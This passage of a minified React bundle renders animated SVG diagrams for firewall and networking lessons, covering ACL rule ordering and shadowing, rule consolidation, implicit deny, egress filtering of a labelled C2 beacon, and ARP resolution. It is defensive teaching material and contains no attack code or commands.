connection attempt on restricted Port 23.`}),(0,k.jsx)(`text`,{x:`14`,y:`68`,fill:`#0f172a`,fontSize:`8`,children:`2. Firewall evaluates policy and halts packet at ingress interface.`}),(0,k.jsx)(`text`,{x:`14`,y:`88`,fill:`#0f172a`,fontSize:`8`,children:`3. Structured CEF / Syslog engine generates real-time telemetry event.`})]})]})]})},fn=({currentStepIndex:e})=>{let t=e>=15,n=e>=1,r=e>=2,i=e>=3,a=e>=12&&e<=14,o=e>=20,s=80;return t?e===16?s=80:e===17?s=230:e===18?s=370:e===19?s=510:e>=20&&(s=660):e<=4?s=80:e===5?s=230:e>=6&&(s=370),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[i&&(0,k.jsx)(`line`,{x1:`80`,y1:`75`,x2:`660`,y2:`75`,stroke:`#cbd5e1`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),!t&&e===5&&(0,k.jsx)(A,{x1:115,y1:75,x2:325,y2:75,color:`#ef4444`,label:`ATTEMPTING HTTPS →`}),t&&e===17&&(0,k.jsx)(A,{x1:115,y1:75,x2:325,y2:75,color:`#2563eb`,label:`RETRYING HTTPS →`}),t&&e===19&&(0,k.jsx)(A,{x1:415,y1:75,x2:615,y2:75,color:`#10b981`,label:`PERMITTED TO SERVER →`}),(0,k.jsx)(M,{cx:80,cy:75,label:`CLIENT`,ip:`10.0.0.25`,active:t?e<=17||o:e<=5,statusText:o?`CONNECTED ✓`:void 0}),n&&(0,k.jsx)(N,{cx:370,cy:75,label:`FIREWALL`,sub:t?`Reordered ACL`:`Misordered ACL`,active:!t&&e>=6&&e<=13||t&&e>=18&&e<=19,success:o}),r&&(0,k.jsx)(P,{cx:660,cy:75,label:`SERVER`,sub:`10.0.5.50:443`,active:o,success:o,statusText:o?`ACCEPTED ✓`:`STANDBY`}),(!t&&e>=4||t&&e>=16)&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:s,cy:28,title:a?`BLOCKED ✕`:o?`PERMITTED`:`HTTPS SYN`,protocol:`TCP`,port:`443`,src:`10.0.0.25`,dst:`10.0.5.50`,status:a?`DENY`:o?`ALLOW`:`NORMAL`,scale:.78})}),(0,k.jsxs)(`g`,{transform:`translate(30, 145)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`185`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:t?`CORRECTED SPECIFIC-FIRST ACL (SPECIFIC ALLOW BEFORE BROAD DENY)`:`FIREWALL RULE SHADOWING DEFECT (BROAD DENY PLACED ABOVE SPECIFIC ALLOW)`}),t?(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,className:`animate-pop-in`,children:[(0,k.jsxs)(`g`,{transform:`translate(0, 0)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`38`,rx:`4`,fill:e>=18?`#dcfce7`:`#eff6ff`,stroke:e>=18?`#16a34a`:`#3b82f6`,strokeWidth:1.5}),(0,k.jsxs)(`text`,{x:`10`,y:`16`,fill:`#15803d`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:[`Rule 1 (SPECIFIC FIRST): ALLOW SRC=10.0.0.0/24 DST=10.0.5.50:443 PROTO=TCP `,e>=18&&`→ MATCH: ALLOW ✓`]}),(0,k.jsx)(`text`,{x:`10`,y:`30`,fill:`#0f172a`,fontSize:`7`,fontFamily:`monospace`,children:`Specific subnet matches authorized corporate clients; session state established.`})]}),(0,k.jsxs)(`g`,{transform:`translate(0, 46)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`38`,rx:`4`,fill:`#f8fafc`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`16`,fill:`#64748b`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`Rule 2 (BROAD CATCH-ALL): DENY SRC=ANY DST=10.0.5.50:443 PROTO=TCP`}),(0,k.jsx)(`text`,{x:`10`,y:`30`,fill:`#64748b`,fontSize:`7`,fontFamily:`monospace`,children:`Blocks all other unapproved source subnets safely.`})]}),(0,k.jsxs)(`g`,{transform:`translate(0, 92)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`38`,rx:`4`,fill:`#f0fdf4`,stroke:`#86efac`}),(0,k.jsx)(`text`,{x:`12`,y:`16`,fill:`#15803d`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`GOLDEN RULE OF ACL ORDERING: Always place SPECIFIC host & subnet rules ABOVE broad wildcard rules.`}),(0,k.jsx)(`text`,{x:`12`,y:`28`,fill:`#0f172a`,fontSize:`7`,children:`Correct rule ordering eliminates shadowing defects and guarantees intended access.`})]})]}):(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,className:`animate-pop-in`,children:[(0,k.jsxs)(`g`,{transform:`translate(0, 0)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`38`,rx:`4`,fill:e>=11?`#fee2e2`:`#eff6ff`,stroke:e>=11?`#ef4444`:`#3b82f6`,strokeWidth:1.5}),(0,k.jsxs)(`text`,{x:`10`,y:`16`,fill:`#dc2626`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:[`Rule 1 (BROAD): DENY SRC=ANY DST=10.0.5.50:443 PROTO=TCP `,e>=11&&`→ FIRST MATCH: DENY ✕`]}),(0,k.jsx)(`text`,{x:`10`,y:`30`,fill:`#64748b`,fontSize:`7`,fontFamily:`monospace`,children:`Checks: Src (10.0.0.25 matches ANY ✓) | Dst (10.0.5.50 ✓) | Port (:443 ✓) → Evaluation STOPS immediately!`})]}),(0,k.jsxs)(`g`,{transform:`translate(0, 46)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`38`,rx:`4`,fill:`#f8fafc`,stroke:`#cbd5e1`,strokeDasharray:`4 4`,opacity:.6}),(0,k.jsx)(`text`,{x:`10`,y:`16`,fill:`#64748b`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`Rule 2 (SPECIFIC): ALLOW SRC=10.0.0.0/24 DST=10.0.5.50:443 PROTO=TCP`}),(0,k.jsx)(`text`,{x:`10`,y:`30`,fill:`#dc2626`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`STATUS: SHADOWED / UNREACHABLE (0 Hit Count). Rule 1 matches all traffic first.`})]}),(0,k.jsxs)(`g`,{transform:`translate(0, 92)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`38`,rx:`4`,fill:`#fef2f2`,stroke:`#f87171`}),(0,k.jsx)(`text`,{x:`12`,y:`16`,fill:`#991b1b`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`TOP-TO-BOTTOM FIRST MATCH RULE: Firewalls NEVER choose the "most specific rule" automatically.`}),(0,k.jsx)(`text`,{x:`12`,y:`28`,fill:`#0f172a`,fontSize:`7`,children:`Because Rule 1 matched first, evaluation terminated. Rule 2 was completely bypassed.`})]})]})]})]})},pn=({currentStepIndex:e})=>{let t=e>=14,n=e>=1,r=e>=2,i=e>=3,a=e>=12&&e<=13,o=e>=20,s=80;return t?e<=16?s=80:e>=17&&e<=18?s=370:e===19?s=510:e>=20&&(s=660):e<=4?s=80:e>=5&&e<=11?s=370:e===12?s=510:e>=13&&(s=660),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[i&&(0,k.jsx)(`line`,{x1:`80`,y1:`75`,x2:`660`,y2:`75`,stroke:`#cbd5e1`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),!t&&e===12&&(0,k.jsx)(A,{x1:415,y1:75,x2:615,y2:75,color:`#10b981`,label:`CYCLE 5 MATCH →`}),t&&e===19&&(0,k.jsx)(A,{x1:415,y1:75,x2:615,y2:75,color:`#10b981`,label:`FAST 1-CYCLE MATCH →`}),(0,k.jsx)(M,{cx:80,cy:75,label:`CLIENT`,ip:`10.0.1.14`,active:t?e<=17||o:e<=5,statusText:o?`DELIVERED ✓`:void 0}),n&&(0,k.jsx)(N,{cx:370,cy:75,label:`FIREWALL`,sub:t?`Optimized CIDR`:`Unoptimized 5 Rules`,active:!t&&e>=5&&e<=11||t&&e>=17&&e<=18,success:a||o}),r&&(0,k.jsx)(P,{cx:660,cy:75,label:`SERVER`,sub:`10.0.5.50:443`,active:a||o,success:a||o,statusText:a||o?`ACCEPTED ✓`:`STANDBY`}),(!t&&e>=5||t&&e>=17)&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:s,cy:28,title:!t&&e>=10||t&&e>=18?`ALLOW ✓`:`HTTPS SYN`,protocol:`TCP`,port:`443`,src:`10.0.1.14`,dst:`10.0.5.50`,status:!t&&e>=5&&e<=9||t&&e===17?`INSPECT`:`ALLOW`,scale:.78})}),(0,k.jsxs)(`g`,{transform:`translate(30, 145)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`185`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:t?`AFTER OPTIMIZATION: CONSOLIDATED SUPERNET CIDR (1-CYCLE LOOKUP)`:`BEFORE OPTIMIZATION: FRAGMENTED INDIVIDUAL HOST RULES (5 SEQUENTIAL CHECKS)`}),t?(0,k.jsxs)(`g`,{transform:`translate(16, 34)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`135`,rx:`4`,fill:`#f0fdf4`,stroke:`#86efac`}),(0,k.jsx)(`text`,{x:`10`,y:`16`,fill:`#15803d`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`CONSOLIDATED SUPERNET POLICY (CIDR / OBJECT-GROUP):`}),(0,k.jsxs)(`g`,{transform:`translate(10, 26)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`648`,height:`34`,rx:`4`,fill:`#dcfce7`,stroke:`#16a34a`,strokeWidth:`1.5`}),(0,k.jsxs)(`text`,{x:`10`,y:`21`,fill:`#15803d`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:[`Rule 1 (Consolidated): ALLOW SRC=10.0.1.0/24 DST=10.0.5.50:443 PROTO=TCP `,e>=18&&`→ MATCH: ALLOW ✓ (1 CYCLE)`]})]}),(0,k.jsx)(`text`,{x:`10`,y:`80`,fill:`#0f172a`,fontSize:`7.5`,children:`• Optimization Benefit 1: Merges 5 fragmented lines into 1 clean subnet CIDR rule.`}),(0,k.jsx)(`text`,{x:`10`,y:`96`,fill:`#0f172a`,fontSize:`7.5`,children:`• Optimization Benefit 2: Immediate 1st-cycle match eliminates unnecessary sequential iterations.`}),(0,k.jsx)(`text`,{x:`10`,y:`118`,fill:`#15803d`,fontSize:`7.5`,fontWeight:`bold`,children:`OPTIMIZATION SUMMARY: Supernetting, hit-count ordering, and purging dead rules streamlines policy evaluation.`})]}):(0,k.jsxs)(`g`,{transform:`translate(16, 34)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`135`,rx:`4`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#1e40af`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`SEQUENTIAL EVALUATION CYCLES FOR INCOMING SRC=10.0.1.14:`}),(0,k.jsxs)(`g`,{transform:`translate(10, 20)`,children:[(0,k.jsxs)(`text`,{x:`0`,y:`14`,fill:e===6?`#dc2626`:`#64748b`,fontSize:`7.5`,fontFamily:`monospace`,children:[`Cycle 1: Check Rule 1 (10.0.1.10) `,e>=6&&`→ NO MATCH ✕`]}),(0,k.jsxs)(`text`,{x:`0`,y:`28`,fill:e===7?`#dc2626`:`#64748b`,fontSize:`7.5`,fontFamily:`monospace`,children:[`Cycle 2: Check Rule 2 (10.0.1.11) `,e>=7&&`→ NO MATCH ✕`]}),(0,k.jsxs)(`text`,{x:`0`,y:`42`,fill:e===8?`#dc2626`:`#64748b`,fontSize:`7.5`,fontFamily:`monospace`,children:[`Cycle 3: Check Rule 3 (10.0.1.12) `,e>=8&&`→ NO MATCH ✕`]}),(0,k.jsxs)(`text`,{x:`0`,y:`56`,fill:e===9?`#dc2626`:`#64748b`,fontSize:`7.5`,fontFamily:`monospace`,children:[`Cycle 4: Check Rule 4 (10.0.1.13) `,e>=9&&`→ NO MATCH ✕`]}),(0,k.jsxs)(`text`,{x:`0`,y:`70`,fill:e>=10?`#15803d`:`#64748b`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:[`Cycle 5: Check Rule 5 (10.0.1.14) `,e>=10&&`→ MATCH: ALLOW ✓ (5 CYCLES CONSUMED)`]})]}),(0,k.jsx)(`text`,{x:`10`,y:`118`,fill:`#dc2626`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`INEFFICIENCY: Five separate rules for contiguous IPs inflate ACL size and waste CPU lookup cycles.`})]})]})]})},mn=({currentStepIndex:e})=>{let t=e>=10,n=e>=1,r=e>=2,i=e>=3,a=e>=8&&e<=9,o=e>=15,s=80;return t?e===10?s=80:e===11?s=230:e>=12&&(s=370):e<=4?s=80:e===5?s=230:e>=6&&e<=7?s=370:e===8?s=510:e>=9&&(s=660),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[i&&(0,k.jsx)(`line`,{x1:`80`,y1:`75`,x2:`660`,y2:`75`,stroke:`#cbd5e1`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),!t&&e===5&&(0,k.jsx)(A,{x1:115,y1:75,x2:325,y2:75,color:`#2563eb`,label:`HTTPS SYN →`}),!t&&e===8&&(0,k.jsx)(A,{x1:415,y1:75,x2:615,y2:75,color:`#10b981`,label:`PERMITTED TO SERVER →`}),t&&e===11&&(0,k.jsx)(A,{x1:115,y1:75,x2:325,y2:75,color:`#ef4444`,label:`SSH ATTEMPT →`}),(0,k.jsx)(M,{cx:80,cy:75,label:`CLIENT`,ip:`10.0.1.25`,active:t?e<=11:e<=5}),n&&(0,k.jsx)(N,{cx:370,cy:75,label:`FIREWALL`,sub:o?`IMPLICIT DENY ✕`:t?`EVALUATING`:`WHITELIST`,active:!t&&e>=6&&e<=7||t&&e>=12,success:a}),r&&(0,k.jsx)(P,{cx:660,cy:75,label:`SERVER`,sub:`10.0.5.50`,active:a,success:a,statusText:a?`ACCEPTED ✓`:o?`PROTECTED (0 PKTS)`:`STANDBY`}),(!t&&e>=4||t&&e>=10)&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:s,cy:28,title:t?o?`BLOCKED ✕`:`SSH SYN`:e>=7?`ALLOW ✓`:`HTTPS SYN`,protocol:`TCP`,port:t?`22`:`443`,src:`10.0.1.25`,dst:`10.0.5.50`,status:t?o?`DENY`:`INSPECT`:e>=7?`ALLOW`:`NORMAL`,scale:.78})}),(0,k.jsxs)(`g`,{transform:`translate(30, 145)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`185`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:t?`SCENARIO B: UNMATCHED TRAFFIC TRIGGERING IMPLICIT DEFAULT DENY`:`SCENARIO A: APPROVED TRAFFIC MATCHING EXPLICIT WHITELIST RULES`}),t?(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`130`,rx:`4`,fill:`#fef2f2`,stroke:`#f87171`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#991b1b`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`EVALUATION OF UNKNOWN SSH PACKET (PORT 22):`}),(0,k.jsx)(`text`,{x:`14`,y:`36`,fill:e>=12?`#dc2626`:`#64748b`,fontSize:`7.5`,fontFamily:`monospace`,children:`1. Check Rule 1 (Port 443 HTTPS) → NO MATCH ✕ (Port 22 != 443)`}),(0,k.jsx)(`text`,{x:`14`,y:`52`,fill:e>=13?`#dc2626`:`#64748b`,fontSize:`7.5`,fontFamily:`monospace`,children:`2. Check Rule 2 (Port 53 DNS) → NO MATCH ✕ (Port 22 != 53)`}),(0,k.jsxs)(`g`,{transform:`translate(10, 62)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`648`,height:`32`,rx:`4`,fill:e>=15?`#fee2e2`:`#ffffff`,stroke:e>=15?`#ef4444`:`#cbd5e1`,strokeWidth:1.5}),(0,k.jsxs)(`text`,{x:`10`,y:`20`,fill:e>=15?`#dc2626`:`#64748b`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:[`[IMPLICIT DENY ALL]: DENY SRC=ANY DST=ANY PROTO=ANY `,e>=15&&`→ TRIGGERED: DROP ✕`]})]}),(0,k.jsx)(`text`,{x:`12`,y:`116`,fill:`#991b1b`,fontSize:`7.5`,fontWeight:`bold`,children:`GOLDEN RULE: "Everything not explicitly permitted is strictly forbidden."`})]}):(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`130`,rx:`4`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#15803d`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`EXPLICIT WHITELIST POLICY:`}),(0,k.jsxs)(`g`,{transform:`translate(10, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`648`,height:`32`,rx:`4`,fill:e>=6?`#dcfce7`:`#ffffff`,stroke:e>=6?`#16a34a`:`#cbd5e1`,strokeWidth:1.5}),(0,k.jsxs)(`text`,{x:`10`,y:`20`,fill:e>=6?`#15803d`:`#0f172a`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:[`Rule 1: ALLOW SRC=10.0.1.0/24 DST=10.0.5.50:443 PROTO=TCP `,e>=6&&`→ MATCH: PERMIT ✓`]})]}),(0,k.jsxs)(`g`,{transform:`translate(10, 62)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`648`,height:`26`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`17`,fill:`#64748b`,fontSize:`7.5`,fontFamily:`monospace`,children:`Rule 2: ALLOW SRC=10.0.1.0/24 DST=8.8.8.8:53 PROTO=UDP (DNS)`})]}),(0,k.jsx)(`text`,{x:`12`,y:`115`,fill:`#15803d`,fontSize:`7.5`,fontWeight:`bold`,children:`WHITELIST PRINCIPLE: Only explicitly listed services are allowed through the firewall.`})]})]})]})},hn=({currentStepIndex:e})=>{let t=e>=10,n=e>=1,r=e>=2,i=e>=3,a=e>=8&&e<=9,o=e>=13,s=80;return t?e===10?s=80:e===11?s=230:e>=12&&(s=370):e<=4?s=80:e===5?s=230:e>=6&&e<=7?s=370:e===8?s=510:e>=9&&(s=660),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[i&&(0,k.jsx)(`line`,{x1:`80`,y1:`75`,x2:`660`,y2:`75`,stroke:`#cbd5e1`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),!t&&e===5&&(0,k.jsx)(A,{x1:115,y1:75,x2:325,y2:75,color:`#2563eb`,label:`OUTBOUND HTTPS →`}),!t&&e===8&&(0,k.jsx)(A,{x1:415,y1:75,x2:615,y2:75,color:`#10b981`,label:`TO INTERNET →`}),t&&e===11&&(0,k.jsx)(A,{x1:115,y1:75,x2:325,y2:75,color:`#ef4444`,label:`C2 BEACON ATTEMPT →`}),(0,k.jsx)(M,{cx:80,cy:75,label:t?`INFECTED HOST`:`INTERNAL CLIENT`,ip:`10.0.1.50`,active:t?e<=11:e<=5}),n&&(0,k.jsx)(N,{cx:370,cy:75,label:`EGRESS FIREWALL`,sub:o?`EGRESS BLOCKED ✕`:`Egress Policy`,active:!t&&e>=6&&e<=7||t&&e>=12,success:a}),r&&(0,k.jsx)(P,{cx:660,cy:75,label:t?`ATTACKER C2 SERVER`:`PUBLIC SAAS SERVER`,sub:t?`203.0.113.99:4444`:`198.51.100.25:443`,active:a,success:a,statusText:a?`ACCEPTED ✓`:o?`ISOLATED (0 PKTS)`:`STANDBY`}),(!t&&e>=4||t&&e>=10)&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:s,cy:28,title:t?o?`BLOCKED ✕`:`C2 BEACON`:e>=7?`ALLOW ✓`:`HTTPS REQ`,protocol:`TCP`,port:t?`4444`:`443`,src:`10.0.1.50`,dst:t?`203.0.113.99`:`198.51.100.25`,status:t?o?`DENY`:`INSPECT`:e>=7?`ALLOW`:`NORMAL`,scale:.78})}),(0,k.jsxs)(`g`,{transform:`translate(30, 145)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`185`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:t?`SCENARIO 2: EGRESS FILTERING DROPS MALWARE REVERSE SHELL & C2 BEACON`:`SCENARIO 1: EGRESS POLICY PERMITS AUTHORIZED OUTBOUND WEB TRAFFIC`}),t?(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`130`,rx:`4`,fill:`#fef2f2`,stroke:`#f87171`,strokeWidth:`1.5`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#991b1b`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`UNAUTHORIZED EGRESS ATTEMPT (PORT 4444 REVERSE SHELL):`}),(0,k.jsx)(`text`,{x:`12`,y:`38`,fill:`#0f172a`,fontSize:`7.5`,children:`1. Infected host attempts to establish outbound C2 tunnel to external IP on Port 4444.`}),(0,k.jsx)(`text`,{x:`12`,y:`54`,fill:`#0f172a`,fontSize:`7.5`,children:`2. Firewall evaluates outbound policy: Port 4444 is NOT permitted in the egress whitelist.`}),(0,k.jsx)(`text`,{x:`12`,y:`72`,fill:`#dc2626`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`3. ACTION: EGRESS DROP ✕ (Packet halted at firewall; C2 connection severed).`}),(0,k.jsx)(`text`,{x:`12`,y:`94`,fill:`#15803d`,fontSize:`7.5`,fontWeight:`bold`,children:`EGRESS IMPORTANCE: Stops data exfiltration, disables ransomware keys, and prevents botnet participation.`})]}):(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`130`,rx:`4`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#15803d`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`APPROVED OUTBOUND POLICY (PORT 443):`}),(0,k.jsxs)(`g`,{transform:`translate(10, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`648`,height:`32`,rx:`4`,fill:e>=6?`#dcfce7`:`#ffffff`,stroke:e>=6?`#16a34a`:`#cbd5e1`,strokeWidth:1.5}),(0,k.jsxs)(`text`,{x:`10`,y:`20`,fill:e>=6?`#15803d`:`#0f172a`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:[`Egress Rule 1: ALLOW SRC=10.0.1.0/24 DST=ANY:443 PROTO=TCP `,e>=6&&`→ MATCH: PERMIT ✓`]})]}),(0,k.jsx)(`text`,{x:`12`,y:`78`,fill:`#0f172a`,fontSize:`7.5`,children:`• Authorized corporate business traffic flows to public SaaS providers smoothly.`}),(0,k.jsx)(`text`,{x:`12`,y:`96`,fill:`#0f172a`,fontSize:`7.5`,children:`• Stateful inspection logs the outbound session and permits return traffic automatically.`})]})]})]})},gn=({currentStepIndex:e})=>{let t=e>=1,n=e>=2,r=e>=3,i=e>=5&&e<=8,a=e>=9&&e<=11,o=e>=12,s=e>=13&&e<=15,c=e>=15,l=80;return e===5?l=80:e===6?l=230:e>=7&&e<=8?l=510:e===9?l=660:e===10?l=370:e===11||e===13?l=80:e===14?l=370:e>=15&&(l=660),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[r&&(0,k.jsx)(`line`,{x1:`80`,y1:`75`,x2:`660`,y2:`75`,stroke:`#cbd5e1`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),e===6&&(0,k.jsx)(A,{x1:115,y1:75,x2:325,y2:75,color:`#eab308`,label:`BROADCAST (FF:FF:FF:FF) →`}),e===7&&(0,k.jsx)(A,{x1:415,y1:75,x2:615,y2:75,color:`#eab308`,label:`FLOODED TO PORTS →`}),e===10&&(0,k.jsx)(A,{x1:615,y1:75,x2:115,y2:75,color:`#10b981`,label:`← UNICAST ARP REPLY`}),e===14&&(0,k.jsx)(A,{x1:115,y1:75,x2:615,y2:75,color:`#2563eb`,label:`UNICAST DATA FRAME →`}),(0,k.jsx)(M,{cx:80,cy:75,label:`CLIENT`,ip:`192.168.1.10`,active:e<=6||e>=11}),t&&(0,k.jsxs)(`g`,{children:[(0,k.jsx)(`rect`,{x:`330`,y:`55`,width:`80`,height:`40`,rx:`6`,fill:`#0f172a`,stroke:`#3b82f6`,strokeWidth:`2`}),(0,k.jsx)(`text`,{x:`370`,y:`74`,textAnchor:`middle`,fill:`#60a5fa`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`L2 SWITCH`}),(0,k.jsx)(`text`,{x:`370`,y:`86`,textAnchor:`middle`,fill:`#94a3b8`,fontSize:`6.5`,fontFamily:`monospace`,children:`VLAN 10 Flooding`})]}),n&&(0,k.jsx)(P,{cx:660,cy:75,label:`SERVER`,sub:`192.168.1.20`,active:e>=8&&e<=10,success:c,statusText:c?`ACCEPTED ✓`:`MAC: AA:BB:CC`}),(i||a||s)&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:l,cy:28,title:i?`ARP REQ`:a?`ARP REPLY`:`IP FRAME`,protocol:s?`TCP`:`ARP`,port:s?`443`:`Layer 2`,src:a?`AA:BB:CC`:`192.168.1.10`,dst:i?`BROADCAST`:`192.168.1.20`,status:s?`ALLOW`:`INSPECT`,scale:.78})}),(0,k.jsxs)(`g`,{transform:`translate(30, 145)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`185`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:`ADDRESS RESOLUTION PROTOCOL (ARP) COMMUNICATION & CACHE BINDING`}),o?(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`130`,rx:`4`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#15803d`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`CLIENT DYNAMIC ARP CACHE TABLE (IP → MAC MAPPING):`}),(0,k.jsxs)(`g`,{transform:`translate(10, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`648`,height:`34`,rx:`4`,fill:`#dcfce7`,stroke:`#16a34a`,strokeWidth:`1.5`}),(0,k.jsx)(`text`,{x:`10`,y:`21`,fill:`#15803d`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`Internet Address: 192.168.1.20  |  Physical MAC: AA-BB-CC-11-22-33  |  Type: Dynamic (TTL 1200s) ✓`})]}),(0,k.jsx)(`text`,{x:`12`,y:`80`,fill:`#0f172a`,fontSize:`7.5`,children:`• Communication Flow: 1. Broadcast Request → 2. Unicast Reply → 3. Cache Updated → 4. Data Frames Transmitted.`}),(0,k.jsx)(`text`,{x:`12`,y:`96`,fill:`#dc2626`,fontSize:`7.5`,fontWeight:`bold`,children:`• 